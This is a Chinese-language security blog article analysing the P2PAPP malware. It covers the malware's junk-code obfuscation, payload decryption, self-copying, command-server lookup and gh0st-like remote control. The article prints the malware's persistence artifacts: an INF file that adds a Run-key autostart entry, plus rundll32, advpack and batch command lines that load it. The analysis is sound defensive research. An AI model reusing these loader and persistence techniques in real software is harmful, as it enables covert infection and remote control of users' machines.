本文由米斯特安全攻防实验室原创投稿安全脉搏,安全脉搏独家发表本文,如需要转载,请先联系安全脉搏授权;未经授权请勿转载。
本文作者对P2PAPP进行了逆向分析,描述了恶意程序P2PAPP的一些可疑行为及整个释放流程。
几种花指令类型
push ebp
mov ebp, esp
mov esp, ebp
pop ebp
这种花指令组合,在第二行和第三行之间进行的所有堆栈操作都不会在外层生效
add xxx
sub xxx
inc reg
dec reg
add reg, 0
![]() ![]() |
Formplat函数去掉花指令后,只抛出了一个异常,然后调用sub_10004550函数。
Sub_10004550函数首先取得PathRemoveFileSpecA、GetModuleFileNameA、ExpandEnvironmentStringsA函数地址:
然后从0x10003000往下遍历,搜索当前模块加载的基地址
接着获取当前模块的全路径,并判断模块名是否为p2papp.dll,如果是,跳转到loc_10004BE4执行,如果不是则继续往下执行。
先分析判断成立的情况,loc_10004BE4分支中会调用loc_10004350函数
首先三个反调试函数?
接着程序打开当前目录下的temp文件,并在申请分配一块内存,将文件中的内容拷贝到此处
接着对文件进行一个简单的解密操作
解密函数用C语言表示如下:
接着程序对解密后的数据进行一系列的处理,将数据拷贝到当前进程空间,并修改内存的可执行权限,接着在处理后的数据中搜索”Run”标志,根据Run标志定位到一个函数,获取此函数的地址,并调用。
拼接一个字符串%APPDATA%\formplat,并扩展出其中的环境变量
接着将自身拷贝到上一步创建的文件夹下p2papp.dll文件
并且把程序当前目录下的temp文件拷贝到上面创建的文件夹中
然后通过GetProcAddress函数获取ShellExecuteA函数的地址,并把地址存放到一个局部变量中
程序后面调用了两次ShellExecuteA函数,第一次调用:
通过rundll32.exe程序调用shimgvw.dll动态链接库中的ImageView_Fullscreen函数,显示一张程序当前路径下的bbs.bmp图片。
第二次调用:
通过rundll32.exe程序调用上面创建的p2papp.dll动态链接库中的formplat函数。
查看图片1的属性
发现它会启动cmd.exe去调用png.bat。
查看png.bat,用十六进制打开
它会执行两条命令
mkdir “%programfiles%”rundll32.exe nvwsrds.dll,avmode –fn dfhrfguysdgdf |
在avmode函数里读取temp文件内容,将解密后的内容dump出来,发现是一个PE文件,找到其中的Run函数
Run函数首先调用两次解密函数,得到一个腾讯微博地址和一个IP地址
在%APPDATA%下创建一个avmode文件夹和一个avmode.inf文件
写入内容:
[Version]Signature="$CHICAGO$"Provider=t@t.com, 2002[DefaultInstall]; DelReg=run_DelRegAddReg=run_AddReg[run_DelReg]
[run_AddReg] hkcu,"Software\Microsoft\Windows\CurrentVersion\Run","Update",,"rundll32.exe ""C:\Documents and Settings\test\Application Data\avmode\Bitavmode.dll"",avmode" [Strings] |
接着创建一个线程,这个线程是的功能主要是和服务器通信,并根据服务器发送的指令执行相应的任务。
线程里主要用两种方法获取远程服务器的IP地址
第一种:访问http://t.qq.com/xiaokanrensheng12121网址,从返回的内容中根据”IP>”解析出IP地址
获取的IP地址
第二种方法,访问ip138,根据”>>”定位返回的内容中IP地址
获取服务器IP之后,并连接之后,会调用sub_10002450(下图中的firstTalk)函数和服务器进行一次简单的通信。
接着程序创建一个专门用来通信的线程,入口函数为recvAndDealData(10002790)。
recvAndDealData的处理过程和gh0st非常类似,接收到的数据传递给sub_10002890进行解析。
解析完之后,函数中调用**(v33+196) + 4偏移处的函数,并将解析后的数据当做参数传递。
最后会到达sub_100066A0主功能函数,一个switch-case分支结构,根据服务端发送过来的不同指令,执行对应的操作。
然后程序会创建又一个线程
这个线程有两个作用
首先程序判断当前进程是不是由avmode进程所创建,如果是则调用sub_10008190函数,如果不是,死循环。
sub_10008190函数的作用是读取”Software\Microsoft\Windows\CurrentVersion\Run”键下”Update”项的值
这个值是由上面avmode.inf安装文件指定的” C:\Documents and Settings\test\Application Data\avmode\Bitavmode.dll”,接着将当前目录下的nvwsrds.dll文件拷贝为C:\Documents and Settings\test\Application Data\avmode\Bitavmode.dll,实现自启。
判断计算机当前有没有运行ZhuDongFangYu.exe程序,如果运行了执行一断额外的代码。
查看图片2的属性的目标:
C:\WINDOWS\system32\rundll32.exe advpack.dll,LaunchINFSectionEx %appdata%\avmode\avmode.inf,DefaultInstall,,32
会调用advpack.dll的LaunchINFSectionEx函数去加载上面创建的avmode.inf文件。
【本文由米斯特安全攻防实验室原创投稿安全脉搏,安全脉搏独家发表本文,如需要转载,请先联系安全脉搏授权;未经授权请勿转载。】
本文作者:米斯特安全攻防实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/53797.html
对P2PAPP进行了逆向分析,描述了恶意程序P2PAPP的一些可疑行为,但是对可疑行为的处理还有待加强